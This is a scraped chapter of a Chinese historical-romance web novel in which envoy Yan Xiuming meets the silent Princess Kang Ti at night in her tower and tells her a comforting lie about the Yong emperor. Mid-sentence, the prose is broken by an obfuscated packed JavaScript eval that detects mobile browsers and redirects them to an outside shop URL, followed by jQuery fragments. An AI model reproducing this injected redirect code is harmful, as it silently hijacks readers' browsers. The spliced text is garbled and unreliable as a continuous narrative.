默认冷灰
24号文字
方正启体

11. 谈判(5)

作者:乌力波人本书字数:K更新时间:
    战俘交接之事,被康缇一搅和,康朔也没了心气儿,再无力多作纠缠。最终,雍康两国议定,由雍朝拨付两万石粮、一万匹绢,交由西康,换回一千被俘雍军。


    天色渐晚,严修明志得意满地离开王宫。回到西华馆后,他将议定的结果告知了周兆安等几位副使及核心属官。众人听罢,都松了一口气。借着人员齐整,严修明索性召集诸位僚属,令各人依次禀报所负责事务的进展。


    无非是纳采、问名、纳吉等仪程细务,两国礼官早已接洽妥当,进展顺利。其余探查、文书、驿传等事,回报上来的也多是“诸事顺遂”。如此盘算,此番使团的差事,竟已完成了七八成。


    按照严修明的习惯,出门在外,虽然不主张铺张奢靡,却也不会委屈自己与属下。每次差事有点成效,总要设下宴席,犒劳诸位。


    今日他心中颇为畅快,便命人在西华馆内预备了一席酒馔,邀几位主要僚属共酌,以示庆慰。众人连日劳顿,得此放松的机会,自然也是欣然前往。


    然而,宴席尚未开筵,康缇的贴身婢女红熙匆匆赶来,说康缇公主要见见严修明,马上就见。


    “公主要见我?”严修明颇感意外。与那红熙反复确认,康缇不仅要见他,且是单独召见,地点便定在璇玑塔内。


    “胡闹!”他面露愠色,对红熙厉声斥道,“我乃雍使,夜间私见公主,成何体统?你们是想害我,还是想害公主?”


    “不是的……”红熙被他斥得肩头一缩,声音低低软软。她半咬着唇,小心翼翼地从身上摸出一物,递至严修明面前。


    那是一颗珍珠,在灯影下,散发着莹润的光。


    严修明一眼便认出,这是启明大典上,自己抓住的那一颗。他不由得抬眼,望向使馆不远处那座高塔。恍然间,第一天落脚时,塔中那似幻似真的白影,再次浮现心头。


    记忆总是抽取相似的画面,黏连起来。一瞬间,他又想起儿时见过的白衣疯妇。


    他记得清楚,那疯妇递来一块发霉的糕点,招呼他过去玩。那时他只觉得害怕,转身便跑开了。


    而今夜,他要去看看。


    ﹡


    璇玑塔,是康朔当年专为康缇修建,虽然外观并不奇崛,但内里却是极尽奢靡。地面铺着繁花栽绒毯,踩上去绵软无声;四壁皆以檀木为板,其上镶嵌螺钿纹饰;楼梯扶手更嵌以青玉雕饰,触感温润……


    严修明由红熙引着,拾级而上,直至进入一间高层的敞轩。


    此处虽高,看上去却颇为开阔,三面皆是极大的窗棂,垂挂的薄纱,在夜风中轻轻摇晃。轩内陈设同样奢华,金银器、螺钿、玉石……在无数灯火映照下,辉耀斑斓,仿佛置身星河之中。


    红熙请严修明稍候,自去内间禀报。不过片刻,轩内一侧的竹帘轻轻晃动,发出细微的碰撞声响。


    一个月白色的身影,自帘后缓缓步出。正是康缇。


    先前严修明见她,多是白日里,康缇像一尊精心雕琢却了无生气的玉像,美则美矣,可眉宇间皆是生人勿近的气质。而此刻烛光晕染下,倒是多了几分朦胧柔和,像古画中的女子,幽昙静放,气韵清远。


    “见过严正使。”康缇颔首一礼。


    再次听见她的声音,严修明不由得心头一紧,赶紧起身回礼:“公主殿下。”


    “严正使请坐。”


    “公主请。”


    康缇屏退左右,两人在窗边一张紫檀木榻上相对而坐,彼此却无任何言语。只有一张云石案几,几上是红熙倒好的茶。茶香悠悠,恰到好处地飘在中间,将二人隔开。


    严修明纵横沙场,历经宦海,见过大场面无数,可从未像现在这般,局促不安。一则,对面是位女子;二则,这女子不日将成为陛下的新妃,身份敏感;三则,她整整十年未曾说过话。


    前两重顾虑,尚能克服,只要以礼相待、非礼勿视,也没什么大不了。关键是第三点。


    白日里,康缇曾说,言语不过是混淆视听,粉饰不堪。能说出这句话的人,想必也能辨明虚实,堪破人心。面对如此心思敏锐、洞察犀利的人,讲话更要慎之又慎,千万不能让对方摸出自己的心思,贻笑大方。


    于是,严修明索性一句话也不讲。


    至于康缇,白日谈判后,她一直放不下一件事,便是严修明为自己挡了一掌。


    她想知道,这位素昧平生、立场相对的异国使臣,当时究竟是如何思量,是出于职责、义愤,或是……有别有深意?


    可如今人就在眼前,那些疑问,却问不出口。她不愿让对面这人察觉,自己竟将这点小事放在心上;更不愿因自己这份过于在意这件小事,反给对方平添负担,或引起一些不该有的遐想。


    于是,寂静便在沉默中,与烛光一同摇曳。


    然而,一个每日与人事周旋的人,再怎么憋着,也憋不过一个沉默了十年的人。


    再者,今日严修明亲口张罗了筵席,总不好让一众僚属久等。


    “咳咳。”严修明清了清嗓子,“不知公主殿下深夜相召,所为何事?”


    听到严修明说话了,康缇从沉默中抽离,不得不应声:“也无甚大事,只是……”她心中飞速琢磨下一句该说什么,终于在瞥了一眼严修明后,灵光一现,“今日邀正使前来,只想闲叙片刻,怎料正使换了一身公服,只怕招待不周。”


    “唔,觐见公主,自当谨守礼制。”严修明的声音有些不稳。


    “呵。”康缇轻笑了下,旋即微微抬眼,看向严修明:“严正使,我能看看吗?”


    “看什么?”


    “你们大雍的公服。”


    “唔,当然可以。”


    说罢,严修明从榻上起来,后退两步,于光亮处长身而立,笔挺高大的身姿,好似一根盘龙柱,威仪自生。


    康缇缓缓起身,一步步向严修明走来,止步在咫尺之外。她微微抬眼,猝不及防地撞上了严修明的目光,又迅速眨动着睫毛,看向这身紫服。


    公服庄重沉稳,宝相花暗纹繁复,覆在严修明起伏不定的胸膛上,如波涛澎湃。康缇看着那胸膛,突然觉得有点难为情,便轻轻挪动脚步,转到了他的身后。


    而严修明,他有点后悔应下这个要求。这般专注的凝视,令他浑身不自在,感觉全身上下都僵住了。尤其是后背,被康缇身上的香气熏着,像是被蒸了一般,激得他浑身汗毛根根倒竖,又麻又痒,十分熬人。


    半晌,康缇的声音从身后传来:“这宝相花中,可是蟒纹?”


    “是。”严修明也轻声回答,生怕惊扰到什么。


    “我见过蟒纹,却从未见过真蟒,严正使见过吗?”


    “见过一次。”严修明道,“早年在西南边陲,雨夜行军,道路泥泞,本就不好走,又忽然见着一个黑黢黢的,水桶一般粗细的物什,横在路上。起初还以为是山洪冲下的朽木,谁知战马行至近前,那东西突然蠕动了,速度快得惊人。那马也被惊着了,一声嘶鸣,跳将起来,将兵士摔下马背。后来火把凑近一照,那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062465|195086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哪是什么木头,竟是一条巨蟒,光一颗头颅就有面盆那么大。好在我们人多势众,聚来一堆火把,硬是将那巨蟒吓退了。”


    “噗——”康缇发出一声轻笑。


    严修明顿时感觉轻松不少。


    “你怕了吗?”


    “怕。”


    “你们武将个个骁勇善战,见惯了生死,竟会怕一条蟒?”


    “那不一样。”严修明微微侧首,余光瞥向身后,只见着一小片月白色残影,“上阵杀敌,死了也是英雄;若是葬身蟒腹,这死法……未免太难看了。”


    闻言,康缇突然没了兴致,轻轻叹了口气:“左右都是个死,竟也分出高低贵贱了。”说罢便转身,缓步回到木榻旁,添了块新炭,将案几旁的茶又温了温。


    严修明也坐回到榻上,小心翼翼地看向她,只见她眼帘微垂,表情黯淡,暗自琢磨是不是自己说错话了,惹她不悦。


    茶香淡淡,思绪万千。就这样,两人又开始沉默。


    半晌,康缇又看向严修明,率先开了口:“大雍的皇帝,是怎样一个人?”


    严修明略作沉吟,端正了坐姿,郑重地回道:“陛下登临大宝以来,北驱胡虏、南平六诏、东抚海波、西通商路。此赫赫武功,光耀史册。而文治之道,更有重修律典、疏浚漕运、广开科举。谁能想到,陛下励精图治,短短十余载,便换得今日四海升平之象。这番伟业,可追上古尧舜。”


    说这番话时,严修明的语气愈发激动,他似乎忘了圣上龙体欠安,朝局不宁,只虔诚地描绘心目中的圣君:“陛下不仅是君父,更是天命所归。他所行之事,所图之业,皆为开万世之太平。我等大雍子民,莫不感念其恩德。得见陛下天颜,便如仰望日月,心中唯余敬畏与赤诚……”


    一番慷慨激昂之辞,全是严修明的肺腑之言。儿时的他,就是如此看待雍帝李齐的,甚至一度以他为信仰。因此,他说得字字铿锵,令人心潮澎湃。


    康缇似乎也被触动,带着几分天真,问道:“真的么?”


    严修明喉头一动,差点就将“是真的”三个字脱口而出。可他抬眼时,看见康缇纯净剔透的眼睛里,闪动着一丝脆弱的期许,便又将那三个字哽在了喉里。


    真的么?


    曾经的雍帝李齐,或许担得起这番赞誉。可自从他中风以来,似乎变了个人。多疑暴戾、行事偏执、急于求成……种种这般,使得朝堂之上人心浮动,岌岌可危。


    如今的李齐,还算是圣君吗?


    身为大雍使臣,于外邦公主面前,严修明应该毫不犹豫地说“是”。


    然而,对面是康缇。


    一个能看透言语的虚妄,宁可沉默十年的人。如何能骗得了她?


    一个年轻鲜活,貌美无双,却无法左右命运的女子。不骗她,又能如何?


    严修明抿着嘴,种种思量在心中,相互缠斗,始终决不出一个万全的答案。他顿时觉得喉中干涩,便缓缓抬手,从康缇手边,取来一杯茶,一饮而尽。


    茶汤划过喉咙,浇灭了所有焦灼。


    接着,他深吸了一口气,重新迎上康缇那双清澈的眼睛,缓慢而沉重地说道:“是真的。”


    放下茶杯后,严修明心中坦然了几分,只等着康缇的冷嘲热讽。


    可康缇只是怔怔地看着他,眸光里闪动着破碎和迷茫。


    半晌,她才道出一句:“白日在清心台中,多谢严正使出手相护。”


    闻言,严修明舒了一口气,如蒙大赦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)